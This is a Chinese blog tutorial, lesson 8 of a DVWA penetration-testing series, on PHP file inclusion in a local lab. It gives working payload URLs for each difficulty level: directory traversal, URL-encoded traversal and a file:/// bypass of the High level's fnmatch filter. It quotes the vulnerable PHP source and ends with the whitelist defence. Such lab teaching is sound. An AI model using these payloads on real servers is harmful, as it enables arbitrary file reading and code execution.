一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

File Inclusion,意思是文件包含(漏洞),是指当服务器开启llow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

如果打开File Inclusion,出现下面的信息,这需要修改配置文件

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

找到php.ini中的allow_url_include,如果原来为off,设置为On。

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

重新启动服务,再次打开,显示如下,则为正常状态。

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

1、Low 低级别

查看源代码

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

可以看到没有对页面提交的文件做任何过滤检查,url为http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file1.php

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用

本地文件包含

构造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=/etc/hack

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

没有显示任何信息,说明服务器操作系统不是Linux。

首先构造一个php1.php文件,内容如下,显示php网站的相关信息,把该文件放在phpstudy的www路径下。(在实际渗透测试中,可以通过先进行文件上传渗透,上传脚本文件成功后,再进行文件包含渗透)

<?php echo phpinfo();?>

构造URL,文件参数设置为相对路径

构造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\phpstudy_pro\WWW\DVWA\php1.php

显示出相关信息

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

当然如果知道绝对路径,也可以。

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

2、Medium中级别

查看源代码如下

<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file ); 

?> 

可以看到要经过两次替换,第一次把搜索到的http://和https://替换为空字符串,第二次是把../和..\ "替换为空字符(..\"可能是作者搞错,应该为..\,否则Low等级的payload照常执行,是否替换为..)

使用str_replace函数是及其不安全的,因为可以使用双写绕过替换规则。

漏洞利用

使用绝对路径

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php

没有替换,所以照常可以得到php信息。

使用相对路径,可以使用url编码(通过在线URL编码)对page的参数值进行编码

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cphpstudy_pro%5CWWW%5CDVWA%5Cphp1.php

可以照常获取信息,因为上面参数中也不会发生替换。

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

3、High 高级别

查看源代码

vulnerabilities/fi/source/high.php

<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Input validation 
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 


?>

分析:

可以看到,High级别的代码使用了fnmatch函数检查page参数,page参数的开头必须是file,服务器才会去接收相应的文件参数。

漏洞利用

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图

例如,我们查看G盘下的11.log,使用浏览器或资源管理器可以打开下面文件。file:///G:/11.log

所以我们可以这样构造payload

http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file:///c:/phpstudy_pro/WWW/DVWA/php1.php

仍然可以看到看到了php相关信息。

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课

 

4、Impossible 不可能级别

查看源代码

<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Only allow include.php or file{1..3}.php 
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 


?>

分析:

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

 

-------------------------------------------------------------------------------

关注安全   关注作者

一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课一步一步学习DVWA渗透测试-(File Inclusion文件包含)-第八次课 manok 博客专家 发布了299 篇原创文章 · 获赞 26 · 访问量 5万+ 私信 关注
上一篇:DVWA(一):关于DVWA的基本介绍以及Brute Force(暴力破解)使用


下一篇:Java多线程(六)-线程通信